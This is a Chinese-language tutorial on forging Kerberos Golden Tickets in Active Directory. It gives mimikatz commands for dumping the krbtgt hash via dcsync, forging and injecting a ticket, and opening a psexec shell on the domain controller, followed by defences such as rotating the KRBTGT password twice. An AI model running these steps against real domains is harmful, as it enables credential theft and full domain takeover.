伪造TGT黄金票据
通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题
第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责
第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责
针对Kerberos协议需要解决的第一个问题:如何证明你本人是XXX用户的问题。攻击者提出了一种思路,伪造身份证明的TGT票据进行攻击,所以出现了一种针对Kerberos认证的攻击手法-伪造TGT黄金票据。
Golden Ticket(黄金票据)是通过伪造的TGT(Ticket Granting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的TGS,可以说能够伪造黄金票据既有了域内的最高权限。
高权限的TGT:包含PAC,PAC包含Client的sid,Client所在的组,伪造域管理员账号你就有了域管理员权限
ticket传递攻击,通过传递Kerberos的ticket,登陆机器,简称PTT
伪造黄金票据
域控域名:superman.com
由于黄金票据是伪造的TGT,所以与域控制器没有AS-REQ或AS-REP(步骤1和2)通信,直接进入认证的第三步当作TGS-REQ的一部分被发送到域控制器以获得服务票据(TGS)。
制作黄金票据的条件:
1. 域名称
2. 域的SID值 #通过whoamo /user 去掉最后横线的数字剩下的就是SID
3. 域的KRBTGT账户NTLM-HASH
4. 伪造用户名,可以是任意用户名
第一步 获取krbtgt的哈希值
通过mimikatz中的 lsadump::dcsync /domain:superman.com /user:krbtgt 命令获取krbtgt的哈希值

第二步 伪造票据
得到krbtgt hash之后使用mimikatz中的Kerberos::golden功能生成金票golden.kiribi,即伪造成功的TGT
mimikatz # kerberos::golden /admin:administrator /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /krbtgt:5bba52548e7171b4529f93f758ef66e8 /ticket:golden.kiribi

第三步 获取权限
清空本地票据缓存,导入伪造的票据
kerberos::list #查看本地保存的票据,观察client name
kerberos::purge #清除本地票据缓存
Kerberos::ptt golden kiribi #导入伪造的黄金票据
kerberos::list #查看本地保存的票据,观察client name是否变为我们票据中的用户名

第四步 利用伪造的黄金票据
使用psexec工具 psexec.exe \\域控机计算机名 cmd.exe
得到一个cmd命令行,whoami查看用户为我们伪造的administrator
黄金票据使用场景:有一个domain amdin 权限的用户shell,获取krbtgt,sid和ntlm-hash的权限,就可以伪造任意用户
防御方法:
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
对第三种防御方法的解释如下:
老密码
登录两台机器
新密码1
有一个新密码1,以后登录要用新密码1登录,但是已经用老密码登录的不会被下线
新密码2
有一个新密码2,以后登录要用新密码2登录,但是已经用新密码1登录的用户不会被下线
总结
1.伪造黄金票据要知道krbtgt账号的NTLM-hash
2.黄金票据能用在权限提升和权限维持
3.利用mimikatz工具在win2003以下包括win2003在导入黄金票据报错
伪造TGT黄金票据的更多相关文章
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- 黄金票据(Golden Ticket)的原理与实践
0.黄金票据是什么? 在与认证过程中,经过client与AS的通信会得到TGT,带着TGT想TGS请求,得到票据ticket,用这个ticket可以来访问应用服务器.如果这段有什么疑问,欢迎参考Ker ...
- 域渗透之通过DCSync获取权限并制作黄金票据
环境背景 账号: admin 没有域管权限 admin02 有域管权限 administrator 有域管权限 模拟渗透过程: 利用任意方法已经登录到client1(Windows 7),在clien ...
- 域渗透-凭据传递攻击(pass the hash)完全总结
总结下PtH具体形式(wmicexec.powershell.msf等) 0x01 PtH攻击原理 && 黄金白银票据 PtH攻击原理 wiki https://en.wikiped ...
- 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二)
一.环境搭建 1.1 靶场下载 靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶机通用密码: 1qaz@WSX 1.2 环境配置 ...
- Kerberos的白银票据详解
0x01白银票据(Silver Tickets)定义 白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据.如下图所示,与域控制器没有AS-REQ 和 ...
- 域渗透之票据传递攻击(pass the ticket,ptt)
票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单. 1.ptt攻击的部分 就不是简单的N ...
- Kerberos与票据的爱情故事
0x01.Kerberos认证原理 Kerberos是一种认证机制.目的是通过密钥系统为客户端/服务器应用程序提供强大的可信任的第三方认证服务: 保护服务器防止错误的用户使用,同时保护它的用户使用正确 ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
随机推荐
- 个人任务Day3
昨日成果: 学习有关java的网络爬虫知识. 今日任务: 向数据库中完善数据,并写出选择查看团队博客的界面.
- selenium常见的元素定位方法
一.获取元素 1)通过谷歌浏览器自动的工具访问百度首页,我们可以看到,页面上的元素都是由一行行的代码组成的,它们之间有层级地组织起来,每个元素之间都有不同的标签和值,我们可以通过这些不同的标签和值来找 ...
- (1)C#连接数据库:Connection对象
连接数据库:Connection对象 1.Connection对象概述 Connection对象是一个连接对象,主要功能是建立与物理数据库的连接.其主要包括4种访问数据库的对象类,也可称为数据提供 ...
- c#数字图像处理(四)线性点运算
灰度图像的点运算可分为线性点运算和非线性点运算两种.4.1线性点运算定义线性点运算就是输出灰度级与输入灰度级呈线性关系的点运算.在这种情况下,灰度变换函数的形式为: g(x, y)=pf(x,y)+L ...
- widows 10 下解决在npm install python 环境报错的问题
1.使用管理员打开cmd 2.安装 node-gyp; gyp是一种根据c++源代码编译的工具,node-gyp就是为node编译c++扩展的时候使用的编译工具. npm install -g nod ...
- PyTables的下载和安装
先说下我的环境:Ubuntu 16.04.5 LTS1.下载:git clone https://github.com/PyTables/PyTables.git 如果提示没有git 命令,需要先安装 ...
- 我的一个react路由之旅(步骤及详图)
今天开始react一个重要部分的xiao~习,路由~(过程截图,最后附代码) 以下代码只能骗糊涂蛋子,没错,就是我自己,不要打算让我敲出多高级的东西~ 理论性知识几乎没有,请不要打算让我给你说原理啥的 ...
- C++ 强制类型转换详解
类型转换只不过是让编译器以另外一种方式解释一块内存而已.C++兼容C语言的强制类型转换方式,同时也提供了新型的基于模板的类型转换方式,来提供更多的安全性. 一.C风格的强制类型转换 double k ...
- CSAPP
陆陆续续花了2个月的时间终于把这个久负盛名的CSAPP看完了,不愧为一本名副其实的经典书籍.有种相见恨晚的感觉,以至于从不会写书评的我也情不自禁的想说点什么. 这本书的书名叫"Comput ...
- usaco1.1
Your Ride Is Here #include <iostream> #include <string> #include <vector> using na ...
